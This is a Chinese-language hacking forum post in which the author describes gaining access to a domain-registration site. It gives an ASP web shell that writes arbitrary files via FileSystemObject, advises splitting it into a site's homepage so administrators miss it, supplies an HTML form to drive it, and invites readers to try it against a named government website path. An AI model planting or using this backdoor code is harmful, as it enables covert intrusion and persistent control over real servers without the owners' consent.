昨天也不知怎就搞到中国域名网的权限了,搞了很久,有自动备份。 转入正题: 1.随便找他一个页面,然后把如下内容分开插入到它的主页了,注意一下上下文。内容(fso):
<% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.createObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.createTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "<font color=red>save Success!</font>" %> <% else %> <% response.write "<font color=red>Save UnSuccess!</font>" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> |
最好要分开插入!! 这样管理员也不容易发现。 2. 将下内容保存到本地为一个htm,并把action="#",改成你插入到的页面,再添下绝对路径就好了。你要知道路径!!内容: <form action=’#’ method=post>保存<input type=text name=syfdpath width=32 size=50><br>路径<br>内容:<textarea name=cyfddata cols=80 rows=10 width=32></textarea><input type=submit value=保存></form> 注:此方法为巩固后门使用!!! 有人说不行???? 自己看看截图
大家可以把上内容的action改成"http://www.bjhi.gov.cn/web/biaozhun/index.asp" 路径添"E:\inetpub\bjhi\web\biaozhun\xxxx.asp" 试下 最后用"http://www.bjhi.gov.cn/web/biaozhun/xxxx.asp"访问看看!!
[1] [2] 下一页 |